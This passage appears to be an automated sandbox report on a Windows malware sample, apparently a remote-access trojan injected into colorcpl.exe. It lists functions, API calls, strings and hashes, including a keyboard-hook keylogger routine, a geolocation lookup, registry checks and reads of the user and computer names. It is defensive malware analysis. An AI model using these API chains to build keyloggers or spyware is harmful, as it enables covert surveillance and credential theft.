Yara matches

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
Instruction ID: d80e862715f26897bb8bcd9792e3bfdad42af9d03849ac2f3ebfbfb2fc56639e
Opcode Fuzzy Hash: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
Instruction Fuzzy Hash: 3FC04C04408941543C963EB212272EE53570DA37C5BC41AD0C8A4175128A2A0A0F7CF7

Function 02BE991A Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 293COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02BE991F
__CxxThrowException@8.LIBVCRUNTIME ref: 02BE99BB

Strings

OE, xrefs: 02BE991A

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: Exception@8H_prologThrow
String ID: OE
API String ID: 3222999186-2506519113
Opcode ID: fe1b7685708ab651bcf0735ee0d7b313b9460d78bb97c14bdd2e97ece23dd4dd
Instruction ID: b1d067ab2a5fc167c51613f7376c5fa0b4f7b16d466d200ccea31ec069d9a5b2
Opcode Fuzzy Hash: fe1b7685708ab651bcf0735ee0d7b313b9460d78bb97c14bdd2e97ece23dd4dd
Instruction Fuzzy Hash: 03B14D729001089BCF15FBA0DC91AEDB7BAAF14310F5042D9E517AB1A1EF34AB48CF91

Function 02C240B9 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

__freea.LIBCMT ref: 02C24227

Strings

H"GH"G, xrefs: 02C240E9
H"G, xrefs: 02C240CC, 02C240EC, 02C24115, 02C241F1, 02C2420F

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: __freea
String ID: H"G$H"GH"G
API String ID: 240046367-3036711414
Opcode ID: 85d5c5bb78c3dc120d65423bccd5b238d1fe586f27ad34d61dd2e41aacc264b2
Instruction ID: afbcfdce6c7b16054f1ed2d1f2ef742d63d30fba0d352430781538bf0b20781b
Opcode Fuzzy Hash: 85d5c5bb78c3dc120d65423bccd5b238d1fe586f27ad34d61dd2e41aacc264b2
Instruction Fuzzy Hash: 6C416971A002319FCB39AF65CC01EAE77E5EF57760B140125E818DB280EF30CA48DB92

Function 02C2D6C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 02C26CB1: _free.LIBCMT ref: 02C26CE8
Part of subcall function 02C26CB1: _abort.LIBCMT ref: 02C26D2F

Part of subcall function 02C2D7E3: _abort.LIBCMT ref: 02C2D815
Part of subcall function 02C2D7E3: _free.LIBCMT ref: 02C2D849

_free.LIBCMT ref: 02C2D73C
_free.LIBCMT ref: 02C2D772

Strings

pF, xrefs: 02C2D766

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: _free$_abort
String ID: pF
API String ID: 195396716-2973420481
Opcode ID: 97d7db50b82cccbee5169bb68c5bf7844dd74d9bc7eda6e9766878cece535fa3
Instruction ID: 586680eadd049e74193475d3eae55b9ce39eed9d80038e4ce4f8a77fd1652b62
Opcode Fuzzy Hash: 97d7db50b82cccbee5169bb68c5bf7844dd74d9bc7eda6e9766878cece535fa3
Instruction Fuzzy Hash: D1313B35900128EFDB11EF69D440BADBBF5EF91720F214099D8059B290EF755E48DF51

Function 02B81C6C Relevance: 5.3, APIs: 4, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca61b3061c19b8e66e8fc742f8e1e044f7b2720c6770b6cc8dbd9f2fbdd5cff1
Instruction ID: e7e8d43b6d87b14230742a0b747fface9432644492f52e218fd486c63ae28868
Opcode Fuzzy Hash: ca61b3061c19b8e66e8fc742f8e1e044f7b2720c6770b6cc8dbd9f2fbdd5cff1
Instruction Fuzzy Hash: 76A1A4A67326014BE718BA7C9D943ADB3C6DB84265F1C42BEE21DCB281EB64C953C750

Function 02B89474 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,02B89562), ref: 02B894FA
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,02B89562), ref: 02B89500

Strings

yyyy, xrefs: 02B894D5

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: b6830b3e9d6891c1606c0558841f1da4350204044e4de2f21f2db8019276d9fa
Instruction ID: 7a0757d37afb60cab30fe9307f88379dbdff6631a451916c2a4dc3c31c37de7b
Opcode Fuzzy Hash: b6830b3e9d6891c1606c0558841f1da4350204044e4de2f21f2db8019276d9fa
Instruction Fuzzy Hash: 9F216875A006189FDF21EBA8C881AFEB3F9EF48710F4500E5E909E7341D6309E04CBA5

Function 02C1B941 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

@_EH4_CallFilterFunc@8.LIBCMT ref: 02C1BA06

Strings

@F, xrefs: 02C1B9B5
@F, xrefs: 02C1B9BC

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: CallFilterFunc@8
String ID: @F$@F
API String ID: 4062629308-3436687868
Opcode ID: 01fc5d24cbcc55c590743250a7815fc602d781154dc714b2f4e2244749786215
Instruction ID: c32418232edee1e5069fe1bc8b9c78a4adc01509451f138612b4b917c2126f04
Opcode Fuzzy Hash: 01fc5d24cbcc55c590743250a7815fc602d781154dc714b2f4e2244749786215
Instruction Fuzzy Hash: 4F210E716101009AD7186B349C4776E33A29F8333CF28431AE4359B2E4E7748E43FE56

Function 02C1BD80 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

@_EH4_CallFilterFunc@8.LIBCMT ref: 02C1BE48

Strings

@F, xrefs: 02C1BDF7
@F, xrefs: 02C1BDFE

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: CallFilterFunc@8
String ID: @F$@F
API String ID: 4062629308-3436687868
Opcode ID: 5427aaeeb1dd16046c7ffdb0152beac211c34e67c25787d2885becd2e811340c
Instruction ID: 7c0d2241a3757542deaed8aa5bde8ef992dd27a873f4c635489280076e75903b
Opcode Fuzzy Hash: 5427aaeeb1dd16046c7ffdb0152beac211c34e67c25787d2885becd2e811340c
Instruction Fuzzy Hash: 18210771A106508BC7187B388C077AD73925F8773CF284359E5319B2D4EB788E42BE56

Function 02B9818C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

Part of subcall function 02B98020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B98090,?,?,00000000,?,02B97A06,ntdll,00000000,00000000,02B97A4B,?,?,00000000), ref: 02B9805E
Part of subcall function 02B98020: GetModuleHandleA.KERNELBASE(?), ref: 02B98072

Part of subcall function 02B980C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B98150,?,?,00000000,00000000,?,02B98069,00000000,KernelBASE,00000000,00000000,02B98090), ref: 02B98115
Part of subcall function 02B980C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B9811B
Part of subcall function 02B980C8: GetProcAddress.KERNEL32(?,?), ref: 02B9812D

FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,02B98216), ref: 02B981F8

Strings

FlushInstructionCache, xrefs: 02B981A5
Kernel32, xrefs: 02B981D7

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: HandleModule$AddressProc$CacheFlushInstruction
String ID: FlushInstructionCache$Kernel32
API String ID: 3811539418-184458249
Opcode ID: 69ceee381967f7be42335949b5fceccb2dc7045a0664700b0ae60675d39717dc
Instruction ID: 77a680fe85888330406975052b13d19366db9062b7ed9f9b1463d61439dda31a
Opcode Fuzzy Hash: 69ceee381967f7be42335949b5fceccb2dc7045a0664700b0ae60675d39717dc
Instruction Fuzzy Hash: DF014675650304BFEF11EEA8DC42B5E77ADEB4AB40FA188A1F508E7A40D674AD108A24

Function 02C2D7E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 02C26CB1: _free.LIBCMT ref: 02C26CE8
Part of subcall function 02C26CB1: _abort.LIBCMT ref: 02C26D2F

_abort.LIBCMT ref: 02C2D815
_free.LIBCMT ref: 02C2D849

Strings

pF, xrefs: 02C2D840

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: _abort_free
String ID: pF
API String ID: 4174849134-2973420481
Opcode ID: 27a83d5959e399e126d66fc0e9bc80bad5e8b5edace6ebc33031c21e2b203fc3
Instruction ID: dba5d66ca7ddefb23688b8bfeec014953bf6cfc33dfc6716f72683c90607c71f
Opcode Fuzzy Hash: 27a83d5959e399e126d66fc0e9bc80bad5e8b5edace6ebc33031c21e2b203fc3
Instruction Fuzzy Hash: 1701F575D01A31DBC735AF6DC80031DB7A0FF94F21B18421AD96563280EF70AA0A9FC6

Function 02C145E4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 02C145F0

Part of subcall function 02C14559: std::exception::exception.LIBCONCRT ref: 02C14566

__CxxThrowException@8.LIBVCRUNTIME ref: 02C145FE

Part of subcall function 02C14EB1: ___crtInitializeCriticalSectionEx.LIBCPMT ref: 02C14EBE

Strings

8:G, xrefs: 02C14606

Memory Dump Source

Source File: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: CriticalException@8InitializeSectionThrow___crtstd::exception::exceptionstd::invalid_argument::invalid_argument
String ID: 8:G
API String ID: 64778976-405301104
Opcode ID: 54ad04d6290442f5c1206a837fb498cdab3685317d9be234a4d03e3ffe6d53cd
Instruction ID: 2c481558870a2992381cac547ed59b2db52a77b7174fb7095fbc83b92280e772
Opcode Fuzzy Hash: 54ad04d6290442f5c1206a837fb498cdab3685317d9be234a4d03e3ffe6d53cd
Instruction Fuzzy Hash: B0E0D836D00124B78718B67DBC069DE73ED8E473247400433EA14E3081FBA49D4669DE

Function 02B9AD64 Relevance: 5.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 02B9AD98
IsBadWritePtr.KERNEL32(?,00000004), ref: 02B9ADC8
IsBadReadPtr.KERNEL32(?,00000008), ref: 02B9ADE7
IsBadReadPtr.KERNEL32(?,00000004), ref: 02B9ADF3

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: Read$Write
String ID:
API String ID: 3448952669-0
Opcode ID: 234bf798fc81b872ff5a85eead7648d9943be952996fa50f1c2af5a655f4751e
Instruction ID: 97d01d2c2ef992594f9a9b27b11ef196e9b375d8277034a169d8aa97b584b2c6
Opcode Fuzzy Hash: 234bf798fc81b872ff5a85eead7648d9943be952996fa50f1c2af5a655f4751e
Instruction Fuzzy Hash: E92184B1A40219DBDF10DF69CC80BAE77B9EF44352F1042A1EE5497344EB34D911DAA0

Analysis Process: colorcpl.exePID: 7920, Parent PID: 7648COMMON

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.6%
Total number of Nodes:	1574
Total number of Limit Nodes:	62

Executed Functions

Function 03099340 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,00000000), ref: 0309935B
SetWindowsHookExA.USER32(0000000D,0309932C,00000000), ref: 03099369
GetLastError.KERNEL32 ref: 03099375

Part of subcall function 030A94DA: GetLocalTime.KERNEL32(00000000), ref: 030A94F4

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 030993C3
TranslateMessage.USER32(?), ref: 030993D2
DispatchMessageA.USER32(?), ref: 030993DD

Strings

Keylogger initialization failure: error , xrefs: 03099389

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Message$DispatchErrorHandleHookLastLocalModuleTimeTranslateWindows
String ID: Keylogger initialization failure: error
API String ID: 3219506041-952744263
Opcode ID: c5f3f0135a66b1a647d343ffc855d05720416a2b7b0c965bd09553cabf7d615c
Instruction ID: 8a4f791e09c7e7785422d2f9b0359b0ff4b2931994d2c0a0b9a522166c63a3d9
Opcode Fuzzy Hash: c5f3f0135a66b1a647d343ffc855d05720416a2b7b0c965bd09553cabf7d615c
Instruction Fuzzy Hash: F311C135706305ABEB10FBB5EC0986F77ECEBD9A11B104A6EF891C6584EB358500C7A5

Function 030A936B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 030A9392
InternetOpenUrlW.WININET(00000000,http://geoplugin.net/json.gp,00000000,00000000,80000000,00000000), ref: 030A93A8
InternetReadFile.WININET(00000000,00000000,0000FFFF,00000000), ref: 030A93C1
InternetCloseHandle.WININET(00000000), ref: 030A9407
InternetCloseHandle.WININET(00000000), ref: 030A940A

Strings

http://geoplugin.net/json.gp, xrefs: 030A93A2

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead
String ID: http://geoplugin.net/json.gp
API String ID: 3121278467-91888290
Opcode ID: 22f552de110471556c57d515bee35dbd59571bd198c3ac40ca62adf74400925a
Instruction ID: af6d5915f3a9fe9bc9fdc004ec1b1d81b2190aa746d61052b5745393ddd5f7f9
Opcode Fuzzy Hash: 22f552de110471556c57d515bee35dbd59571bd198c3ac40ca62adf74400925a
Instruction Fuzzy Hash: 7F1182357073166BD624EB25AC48DEF7EECEFC5660F00043DF90596281DB659804C6A5

Function 03099468 Relevance: 9.1, APIs: 6, Instructions: 54
keyboardthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32(03102008,?,03102008), ref: 0309949C
GetWindowThreadProcessId.USER32(00000000,?), ref: 030994A7
GetKeyboardLayout.USER32(00000000), ref: 030994AE
GetKeyState.USER32(00000010), ref: 030994B8
GetKeyboardState.USER32(?), ref: 030994C5
ToUnicodeEx.USER32(?,?,?,?,00000010,00000000,00000000), ref: 030994E1

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: KeyboardStateWindow$ForegroundLayoutProcessThreadUnicode
String ID:
API String ID: 3566172867-0
Opcode ID: 105ddeb08a082523fc587e92aecc47af99d3a13ce1a0cde3e9bfb84cbce61321
Instruction ID: c254eddf1c8b907763d996bb442b33ed3c5d91d3dd97ffa2176dcedf6c4cbb10
Opcode Fuzzy Hash: 105ddeb08a082523fc587e92aecc47af99d3a13ce1a0cde3e9bfb84cbce61321
Instruction Fuzzy Hash: 19115272A0120CABDB10EBF4EC49FDA77BCEB5C711F000455F604DB184E676AD548BA4

Function 0309E18D Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 90
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 030A1F34: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 030A1F54
Part of subcall function 030A1F34: RegQueryValueExA.KERNEL32(?,?,00000000,00000000,00000000,?,03102200), ref: 030A1F72
Part of subcall function 030A1F34: RegCloseKey.KERNEL32(?), ref: 030A1F7D

Sleep.KERNEL32(00000BB8), ref: 0309E243
ExitProcess.KERNEL32 ref: 0309E2B4

Strings

pth_unenc, xrefs: 0309E1A3, 0309E1EC, 0309E25B
override, xrefs: 0309E1B2
3.8.0 Pro, xrefs: 0309E21E, 0309E28D

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: CloseExitOpenProcessQuerySleepValue
String ID: 3.8.0 Pro$override$pth_unenc
API String ID: 2281282204-3177840460
Opcode ID: d3acdf1f972e603bae62c49a63af5ca0c9f919fb4459945b35463e41a92a79d8
Instruction ID: 1645494599b7957733ae6da9aba62a1a210cb8dfdb9ced6a7ce49f8c39233081
Opcode Fuzzy Hash: d3acdf1f972e603bae62c49a63af5ca0c9f919fb4459945b35463e41a92a79d8
Instruction Fuzzy Hash: 88212734B527042FEE08F6BD9C16BEF368DABD1600F400819E9165F2C6EEB59E0183D2

Function 030C15EC Relevance: 4.5, APIs: 3, Instructions: 30encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,?,00000001,030C1372,00000024,?,?,?), ref: 030C15FE
CryptGenRandom.ADVAPI32(?,?,?,?,?,?,?,?,?,030BB81F,?), ref: 030C1614
CryptReleaseContext.ADVAPI32(?,00000000,?,?,?,?,?,?,030BB81F,?), ref: 030C1626

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID:
API String ID: 1815803762-0
Opcode ID: e1758db6c071d6f3988b17d14dcaaeb3a3dca8036e64fd80d545462bc3667441
Instruction ID: a378f8dea9cb78798d65f5831f7783cf2853cdbc0a4dbfba2f7ea69d5007ce31
Opcode Fuzzy Hash: e1758db6c071d6f3988b17d14dcaaeb3a3dca8036e64fd80d545462bc3667441
Instruction Fuzzy Hash: F6E0123131A260BAEB749F15BC08F5B2A99EB89B72F290A2DF155E90D8D7624840855C

Function 030A95F8 Relevance: 3.0, APIs: 2, Instructions: 41COMMON

Download Yara Rule

APIs

GetComputerNameExW.KERNEL32(00000001,?,00000037,03101FFC), ref: 030A9615
GetUserNameW.ADVAPI32(?,00000010), ref: 030A962D

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

